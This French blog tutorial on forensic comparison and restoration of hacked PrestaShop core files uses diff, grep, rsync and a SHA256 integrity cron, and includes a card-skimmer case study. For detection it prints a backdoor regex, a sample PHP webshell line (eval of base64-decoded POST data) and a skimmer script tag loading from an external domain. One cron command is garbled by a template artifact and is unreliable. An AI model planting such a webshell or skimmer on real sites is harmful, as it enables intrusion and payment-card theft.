Comparer et restaurer les fichiers PrestaShop modifiés

Credit : Logo officiel

Comparer et restaurer les fichiers PrestaShop modifiés

Dylan D. — Agent Support Technique Serveur PrestaShop 2222 mots 12 min de lecture

Comparer et restaurer les fichiers PrestaShop modifiés

La semaine dernière, un client m'appelle en panique : sa boutique PrestaShop 8.1 redirige les paniers vers un domaine douteux dès qu'on clique sur "Commander". Antivirus côté client négatif, headers Nginx propres. J'ouvre le serveur, je vois un OrderController.php avec un timestamp de modification deux semaines après le déploiement initial. Bingo, fichier core touché. Sur PrestaShop, contrairement à WordPress et son wp core verify-checksums, il n'existe aucun outil officiel pour vérifier l'intégrité des fichiers. La seule méthode fiable, c'est diff contre une installation propre de la même version. Voici la procédure que j'utilise quasiment chaque semaine en support.

Identifier précisément la version installée

Avant tout, il faut connaître la version exacte du PrestaShop déployé, au patch près. Une comparaison entre 8.1.3 et 8.1.4 va te sortir des dizaines de faux positifs.

grep "const VERSION" /var/www/prestashop/src/Core/Version.php

Sortie attendue :

    const VERSION = '8.1.7';

Pour les installations plus anciennes (1.7.x), le fichier est ailleurs :

grep "_PS_VERSION_" /var/www/prestashop/config/settings.inc.php
cat /var/www/prestashop/install/install_version.php 2>/dev/null

Si le dossier install/ a été supprimé (ce qui est recommandé en prod), interroge directement la base :

mysql -u prestashop_user -p prestashop_db -e "SELECT value FROM ps_configuration WHERE name='PS_VERSION_DB';"

Note : si tu trouves deux versions différentes entre Version.php et PS_VERSION_DB, c'est qu'une mise à jour SQL a tourné mais pas le swap des fichiers. Tu dois traiter ça avant de comparer quoi que ce soit.

Préparer une installation de référence propre

Télécharge la version exacte depuis le dépôt officiel GitHub. Évite les miroirs tiers, j'en ai vu un servir des archives modifiées.

mkdir -p /tmp/ps-ref && cd /tmp/ps-ref
wget https://github.com/PrestaShop/PrestaShop/releases/download/8.1.7/prestashop_8.1.7.zip
sha1sum prestashop_8.1.7.zip

Compare le SHA1 avec celui publié sur la page releases GitHub. Ensuite, double extraction (PrestaShop livre un zip dans un zip) :

unzip -q prestashop_8.1.7.zip
unzip -q prestashop.zip -d clean/
ls clean/ | head

Sortie attendue :

admin/
classes/
config/
controllers/
index.php
src/

Lancer la comparaison structurelle

Vue d'ensemble des différences

diff -q -r /var/www/prestashop/ /tmp/ps-ref/clean/ 2>/dev/null | grep -v '^Only' > /tmp/ps-diff.txt
wc -l /tmp/ps-diff.txt

Sur une install saine, tu devrais avoir entre 0 et 5 lignes (typiquement .htaccess, robots.txt, app/config/parameters.php). Au-delà de 20, il y a clairement quelque chose qui cloche.

Fichiers présents uniquement côté serveur (suspects principaux)

diff -q -r /var/www/prestashop/ /tmp/ps-ref/clean/ 2>/dev/null | grep '^Only in /var/www' | grep -vE '/(modules|themes|img|upload|var|cache|translations)'

C'est la requête la plus rentable en cas de hack. Les attaquants déposent souvent des shells PHP dans des dossiers core comme /classes/, /controllers/admin/ ou /tools/ avec des noms ressemblants : Cache.php, helper.php, class.php. Tout ce qui sort de cette commande dans un dossier core mérite une inspection manuelle.

Fichiers manquants côté serveur

diff -q -r /var/www/prestashop/ /tmp/ps-ref/clean/ 2>/dev/null | grep '^Only in /tmp/ps-ref'

Utile pour repérer les suppressions accidentelles (un FTP qui s'interrompt, un rsync --delete mal calibré).

Restreindre aux fichiers vraiment critiques

Les dossiers modules/, themes/, img/, upload/, var/ contiennent du contenu spécifique à chaque boutique. Les exclure rend la sortie lisible :

diff -q -r \
  --exclude='modules' \
  --exclude='themes' \
  --exclude='var' \
  --exclude='upload' \
  --exclude='img' \
  --exclude='translations' \
  --exclude='cache' \
  --exclude='download' \
  --exclude='.htaccess' \
  /var/www/prestashop/ /tmp/ps-ref/clean/

Inspecter les fichiers modifiés en détail

Comparaison ligne à ligne avec vimdiff

vimdiff /var/www/prestashop/classes/Cart.php /tmp/ps-ref/clean/classes/Cart.php

Dans vimdiff, ]c saute à la différence suivante, [c à la précédente. do (diff obtain) récupère la version du panneau d'à côté, dp (diff put) envoie ta version. Les patterns malveillants typiques que je croise :

Diff unifié pour archivage

Avant de restaurer, garde une trace de ce qui a été touché. Pratique pour la déclaration CNIL en cas de fuite de données :

diff -u /tmp/ps-ref/clean/classes/Cart.php /var/www/prestashop/classes/Cart.php > /root/forensic/cart-diff.patch

Détecter le code obfusqué dans toute l'arborescence

En complément du diff, ce grep sort la majorité des backdoors PHP basiques :

grep -rEn --include='*.php' \
  '(eval\(base64_decode|eval\(gzinflate|eval\(\\$_(POST|GET|REQUEST)|assert\(\\$_)' \
  /var/www/prestashop/ 2>/dev/null

Sortie attendue (cas typique) :

/var/www/prestashop/modules/ps_facetedsearch/lic.php:1:<?php eval(base64_decode($_POST['x']));

Restaurer proprement les fichiers

Une fois la liste des fichiers compromis établie, restaure-les depuis la copie propre. Toujours sauvegarder l'existant avant, même si tu es sûr que c'est du malware (utile pour analyse a posteriori).

mkdir -p /root/quarantine/$(date +%F)
Q=/root/quarantine/$(date +%F)

for f in classes/Cart.php classes/Order.php controllers/front/OrderController.php; do
  cp -p "/var/www/prestashop/$f" "$Q/$(basename $f).bad"
  cp -p "/tmp/ps-ref/clean/$f" "/var/www/prestashop/$f"
  chown www-data:www-data "/var/www/prestashop/$f"
  echo "Restauré : $f"
done

Pour une restauration massive de tout le core (en gardant modules/, themes/, img/, upload/, var/, config/parameters.php) :

rsync -av --delete \
  --exclude='modules/' \
  --exclude='themes/' \
  --exclude='img/' \
  --exclude='upload/' \
  --exclude='var/' \
  --exclude='download/' \
  --exclude='translations/' \
  --exclude='app/config/parameters.php' \
  --exclude='.htaccess' \
  /tmp/ps-ref/clean/ /var/www/prestashop/

Le --delete est volontaire : il supprime les fichiers présents côté serveur mais pas dans la version propre, donc tous les shells déposés par l'attaquant. À ne jamais lancer sans avoir d'abord listé ce qui va être supprimé avec --dry-run.

Remettre les permissions correctes

Après rsync, les permissions peuvent être incohérentes. PrestaShop attend du 644 sur les fichiers et 755 sur les dossiers, sauf pour quelques répertoires en écriture :

find /var/www/prestashop -type f -exec chmod 644 {} \;
find /var/www/prestashop -type d -exec chmod 755 {} \;
chown -R www-data:www-data /var/www/prestashop

# Dossiers nécessitant l'écriture par le webserver
for d in var/cache var/logs var/sessions img upload download mails modules themes config translations; do
  chmod -R 775 "/var/www/prestashop/$d"
done

Vider les caches et vérifier le bon fonctionnement

PrestaShop met en cache une grosse partie du core compilé. Après restauration de fichiers, le cache pointe vers du code obsolète et le site peut planter.

rm -rf /var/www/prestashop/var/cache/prod/*
rm -rf /var/www/prestashop/var/cache/dev/*
rm -f /var/www/prestashop/app/cache/prod/class_index.php
php /var/www/prestashop/bin/console cache:clear --env=prod --no-warmup

Redémarre PHP-FPM et OPcache pour purger le bytecode mis en mémoire :

systemctl reload php8.3-fpm

Teste ensuite un parcours complet : page d'accueil, fiche produit, ajout au panier, tunnel de commande jusqu'à l'étape paiement. Si une page renvoie une 500, regarde immédiatement les logs.

tail -f /var/www/prestashop/var/logs/prod-*.log
tail -f /var/log/nginx/prestashop-error.log

Erreurs courantes et leur fix

Fatal error: Uncaught Smarty_Compiler_Exception

Le cache Smarty contient des templates compilés référençant des classes qui ont changé. Vide-le complètement :

rm -rf /var/www/prestashop/var/cache/prod/smarty/compile/*
rm -rf /var/www/prestashop/var/cache/prod/smarty/cache/*

Class "PrestaShopBundle\\Foo" not found après restauration

L'autoloader Composer pointe encore vers l'ancien index. Régénère-le :

cd /var/www/prestashop
composer dump-autoload --no-dev --optimize

Si composer est absent du serveur, force la régénération côté PrestaShop en supprimant app/cache/prod/class_index.php et en rechargeant n'importe quelle page admin.

The directory /modules is not writable au back-office

Les permissions ont été reposées trop strict après le find global. Le webserver a besoin du droit d'écriture sur modules/ :

chown -R www-data:www-data /var/www/prestashop/modules
chmod -R 775 /var/www/prestashop/modules

Diff sort des milliers de lignes sur un fichier intact

Dix fois sur dix, c'est un souci de fins de ligne (CRLF côté serveur, LF côté GitHub) ou d'encodage (BOM UTF-8). Force la comparaison à ignorer ces différences :

diff -q --strip-trailing-cr -r /var/www/prestashop/ /tmp/ps-ref/clean/

Si c'est un upload Windows qui a converti tous les fichiers en CRLF, normalise avant de comparer :

find /var/www/prestashop -name '*.php' -exec dos2unix {} \;

Le site charge mais les modules sont désactivés

La table ps_module en base peut conserver des références vers des modules supprimés ou des modules malveillants. Liste les modules actifs et compare avec ceux que tu reconnais :

mysql -u prestashop_user -p prestashop_db -e \
  "SELECT name, active, version FROM ps_module WHERE active=1 ORDER BY name;"

Désactive ce qui ne te dit rien : UPDATE ps_module SET active=0 WHERE name='module_louche';.

Automatiser une vérification d'intégrité périodique

Vu qu'il n'y a pas d'équivalent natif à wp core verify-checksums, je colle un cron sur les boutiques sensibles. Le script génère un manifest SHA256 du core une fois (après audit) puis le rejoue chaque nuit :

# Génération initiale (à faire après une install vérifiée)
cd /var/www/prestashop
find . -type f \
  \( -path './modules' -o -path './themes' -o -path './var' \
     -o -path './upload' -o -path './img' \) -prune -o \
  -type f -name '*.php' -print0 \
  | xargs -0 sha256sum > /root/ps-manifest.sha256

# Vérification (à mettre en cron quotidien)
cd /var/www/prestashop
sha256sum -c /root/ps-manifest.sha256 2>&1 | grep -v ': OK{{CONTENT}}#39; \
  | mail -s "PrestaShop integrity alert" admin@exemple.fr

Ligne dans /etc/crontab :

15 4 * * * root /usr/local/bin/ps-integrity-check.sh

C'est rudimentaire mais ça détecte 95% des modifications non autorisées de fichiers core.

Auditer les modules tiers, point d'entrée principal

Dans 8 hacks PrestaShop sur 10, l'attaquant n'est pas passé par le core mais par un module tiers vulnérable. Le diff core te confirmera que les fichiers officiels sont propres, mais il ne te dira rien sur ce module gratuit téléchargé sur un forum en 2022. Voici comment compléter l'audit côté modules.

Lister les modules par date de modification

find /var/www/prestashop/modules -maxdepth 2 -name 'config.xml' -printf '%T+ %p\n' | sort -r | head -30

Un module dont la date de modification ne colle pas avec ton calendrier de mises à jour (par exemple un module modifié hier alors que tu n'as touché à rien) mérite une inspection immédiate.

Chercher les fichiers PHP en dehors des emplacements attendus

Un module PrestaShop sain n'a aucune raison d'avoir un .php dans views/img/, views/css/ ou un dossier cache/. Ces emplacements sont des cachettes classiques pour les webshells :

find /var/www/prestashop/modules -type f -name '*.php' \
  \( -path '*/views/img/*' -o -path '*/views/css/*' -o -path '*/views/js/*' \
     -o -path '*/cache/*' -o -path '*/upload/*' \) -ls

Si cette commande retourne quoi que ce soit, c'est très probablement malveillant. Quarantaine immédiate.

Vérifier les hooks suspects en base

Les attaquants enregistrent souvent un hook custom pour exécuter leur charge sur chaque requête. Liste les hooks par module et cherche ceux qui sortent de l'ordinaire :

mysql -u prestashop_user -p prestashop_db -e "
SELECT m.name, h.name AS hook_name
FROM ps_hook_module hm
JOIN ps_module m ON m.id_module = hm.id_module
JOIN ps_hook h ON h.id_hook = hm.id_hook
WHERE h.name LIKE 'action%' OR h.name LIKE 'display%'
ORDER BY m.name;"

Un module nommé ps_imagecache accroché au hook actionFrontControllerSetMedia doit te mettre la puce à l'oreille s'il n'apparaît pas dans la liste officielle des modules natifs PrestaShop.

Cas réel : restauration après injection dans payment.tpl

Pour fixer les idées, voici un cas concret traité le mois dernier sur PrestaShop 8.1.5. Le client signale que les paiements Stripe échouent depuis trois jours, alors que les commandes par virement passent. Symptôme atypique : seul le formulaire de carte bancaire est cassé.

Première étape, repérer le fichier touché :

diff -q -r /var/www/prestashop/ /tmp/ps-ref/clean/ 2>/dev/null \
  | grep -E 'payment|stripe|checkout'

Sortie :

Files /var/www/prestashop/themes/classic/templates/checkout/_partials/steps/payment.tpl and /tmp/ps-ref/clean/themes/classic/templates/checkout/_partials/steps/payment.tpl differ

En vimdiff, je vois un bloc <script src="https://cdn-stats[.]xyz/c.js"></script> injecté juste avant la balise de fermeture du formulaire de paiement. Du skimming pur et simple : le script externe enregistre les frappes du formulaire CB et les envoie à un domaine tiers. C'est ce qui fait planter Stripe Elements (le script tiers casse l'iframe Stripe).

Restauration :

cp /tmp/ps-ref/clean/themes/classic/templates/checkout/_partials/steps/payment.tpl \
   /var/www/prestashop/themes/classic/templates/checkout/_partials/steps/payment.tpl

rm -rf /var/www/prestashop/var/cache/prod/smarty/compile/*
systemctl reload php8.3-fpm

Mais le travail n'est pas fini. Si un attaquant a pu modifier un .tpl, il faut comprendre comment. Audit du .htaccess, des clefs SSH du serveur, des dernières connexions FTP :

grep 'Accepted' /var/log/auth.log | tail -50
awk '$9 ~ /^2[0-9][0-9]$/ {print}' /var/log/nginx/access.log | grep -i 'admin' | tail -100

Dans ce cas précis, j'ai trouvé un compte FTP créé deux semaines plus tôt avec un mot de passe faible. Ré-attribution de tous les mots de passe BO, rotation des clefs SSH, blocage IP de la plage utilisée par l'attaquant via fail2ban. Voilà à quoi ressemble un vrai retour à la normale, et la comparaison diff n'est que la première étape.

Pour aller plus loin

Ce que je retiens après cinquante audits

La comparaison diff ne remplace pas un audit forensic complet, mais elle isole 90% des compromissions en moins d'une heure. Le vrai gain de temps, c'est d'avoir le manifest SHA256 généré dès la mise en prod : la prochaine fois qu'un client appelle paniqué, je n'ai plus besoin de retélécharger le zip officiel, je sais en trois minutes quels fichiers ont bougé. Et pour PrestaShop tant qu'il n'y a pas d'outil natif d'intégrité, c'est ce workflow ou rien.

# Articles similaires

Sur les memes sujets et plus loin